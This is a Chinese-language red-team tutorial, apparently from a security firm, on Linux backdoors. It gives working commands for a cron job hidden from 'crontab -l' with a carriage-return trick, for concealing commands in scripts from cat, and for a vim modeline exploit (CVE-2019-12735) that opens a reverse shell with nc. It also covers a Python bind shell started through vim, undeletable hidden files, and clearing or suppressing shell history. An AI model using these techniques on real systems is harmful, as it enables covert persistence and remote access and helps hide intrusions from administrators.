导读:上篇文章简单介绍了一下SSH后门在HW和红队评估项目中的应用,下面给大家介绍的是有关Cron后门的利用,以及文件和恶意代码隐藏的一些方法。下面的后门顺序都有一定的关联、比如说从Cron的cat缺陷扩展出hiding-from-cats,在从cat缺陷引出类似的vim缺陷利用,最后在使Cron配合Linux/Unix文件/文件目录隐藏将后门利用思路引申利用。
本篇文章是Linux后门总结文章第二篇,简单介绍了Cron后门的用法,还有根据Cron高级利用的一个扩展,引申出了一个2019年新出的洞。
Cron后门
Cron介绍
在Linux系统中,计划任务一般是由cron承担,我们可以把cron设置为开机时自动启动。cron启动后,它会读取它的所有配置文件(全局性配置文件/etc/crontab,以及每个用户的计划任务配置文件),然后cron会根据命令和执行时间来按时来调用工作任务。
Cron后门
http://qqe2.com/cron cron表达式在线生成:
(crontab -l;echo '*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i')|crontab -
这样执行会在crontab列表里出现,如果是如上执行的话,管理员执行crontab -l就能看到执行的命令内容不是特别隐蔽。
那么就有了一个相对的高级用法,下面命令执行后会显示”no crontab for root”。其实就达到了一个隐藏的效果,这时候管理员如果执行crontab -l就会看到显示”no crontab for root”。
(crontab -l;printf "*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
实际上是他将cron文件写到文件中。/var/spool/cron/crontabs/root 。而crontab -l就是列出了该文件的内容。
通常cat是看不到这个的,只能利用less或者vim看到,这也是利用了cat的一个缺陷,后面会讲到。
/etc/cron.d/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.hourly/ /etc/cron.monthly/ 这几个路径都可以存放cron执行脚本,对应的时间不同。
hiding-from-cats
cat隐藏说明
刚刚在cron里面提到了cat的一个缺陷。可以利用这个缺陷隐藏恶意命令在一些脚本中。这里的示例我就用hiding-from-cats里的例子吧。之所以单列出来,个人认为在一些大型企业的运维工具脚本中可以插入恶意代码,利用cat的缺陷还可以使管理员无法发现脚本被做手脚。
cat其实默认使用是支持一些比如\r回车符 \n换行符 \f换页符、也就是这些符号导致的能够隐藏命令。
使用python生成带有换行符的内容sh:
cmd_h = "echo 'You forgot to check `cat -A`!' > oops" # hidden
cmd_v = "echo 'Hello world!'" # visible
with open("test.sh", "w") as f:
output = "#!/bin/sh\n"
output += cmd_h + ";" + cmd_v + " #\r" + cmd_v + " " * (len(cmd_h) + 3) + "\n"
f.write(output)
使用coderunner生成了一个test.sh脚本。cat看了下脚本的内容是echo一个hello world! 且同目录下只有他本文件。然后我们用sh test.sh执行后。
可以看到执行脚本后生成了一个oops文件,内容就是 You forgot to check cat -A! 其实可以看出来这样就做到了恶意命令隐藏的效果。其实之前Cron后门中的隐藏方法就是利用了这个。如果使用cat —A 查看root文件的话就可以看到计划任务的真正内容了。
vim后门
vim modeline CVE-2019-12735
该漏洞存在于编辑器的 modeline功能,部分 Linux 发行版默认启用了该功能,macOS 是没有默认启用。 当vim打开一个包含了vim modeline注释行的文件时,会自动读取这一行的参数配置并调整自己的设置到这个配置。vim默认关闭modeline。 开启:
vim ~/.vimrc
//文件内容为
set modeline
poc:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
反弹shell:
:!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 9999 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
vim python扩展后门
适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统。可以通过vim的pyfile来执行python脚本。这里我复现使用了docker centos 6.8,yum默认安装的vim。下面的pdf是发现者对外公开的思路:
https://github.com/jaredestroud/WOTD/blob/master/%5BDARK%5D%20Weapons%20of%20%20Text%20Destruction.pdf
这里我们使用一个python开启本地监听11端口的脚本。 POC:
#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
stdout=talk, stderr=talk, shell=True)
$(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
执行以后:
我在攻击机nc连接过去就可以了。
Linux/Unix 隐藏文件和文件夹
建立隐藏文件/文件夹
touch .backdoor
mkdir .backdoor-file
经常使用linux中会知道每个目录下其实都有.和..、分别代指的是当前目录和上级目录。 建立...文件也是一个比较好的隐藏方法。
建立..文件/文件夹
echo 'whoami' > ..\ \ \ \ //注意最后一个转义符后有一个空格
bash ..\ \ \ \ \ //这里也是多一个空格。
这样建立的文件/文件夹管理员不知道是使用了几个转义符建立的,所以通过rm+tab是无法删除的。而且我测试使用rm -rf ./*也无法删除。
参数混淆拦截rm
使用echo等工具新建一个文件名是-rm的文件,这样删除的时候bash会认为-rmt是rm的参数。
这样就可以阻止管理员去删除, 一般只有rm -- '-rm'才会删除掉。
但是如果管理员使用正常删除方式会报错。
可以用以下方法。
echo 123123123 > --
这样可以看到,命令执行了,文件没删除,命令也没有报错。类似的可以利用bash的\r缺陷,和管道符、重定向符之类的。
创建不能删除的文件(权限隐藏)
这个用法在ctf、awd中应用很多,使用chattr来给与隐藏权限。 这些权限需要使用lsattr这个命令才可以查看到,而如果要修改隐藏权限,则使用chattr这个命令来进行修改。
chattr +i hack.sh
无法删除。
删除/隐藏历史操作命令
删除
删除通常使用两种方式: 1、history -c 2、rm -rf /root/.bash_history 建议使用第二种,第一种只是当前清除,并没有清除文件内容。
隐藏
隐藏命令的方式有很多,history 只会在会话结束时写入,所以只要会话还没有结束就可以想办法隐藏。比如同时开启两个终端,第一个终端启动vim编辑history文件,等第二个执行的都差不多了,结束会话后,在保存第一个,这样就覆盖了第二个终端所执行的命令。 这里我分享几个经常使用的隐藏历史命令的方法。
set +o history // 不会将任何当前会话写入日志。可以在会话期间任何时间运行,并隐藏所有命令。
export HISTIGNORE="*|*" //这条命令是不记录带有管道符的命令。
执行后命令可以echo 123123123 | whoami这样也可以做到隐藏命令的目的。
Info:
https://www.freebuf.com/vuls/205516.html
https://www.cnblogs.com/17bdw/p/10564902.html#_label0_6
该文章完成并在内部分享时间为:2019年12月18日,作为一篇技术整理不可避免的会和网上有些文章相同。
本文作者:奇安信高级攻防部 @孙韬作品。目前奇安信安服红队发出江湖召集令,凡是具备实战渗透经验、红队经验、APT实战能力的大侠,均可前来一试,全国招募!联系邮箱:a-hr@qianxin.com
让网络更安全
让世界更美好
长按识别二维码关注我们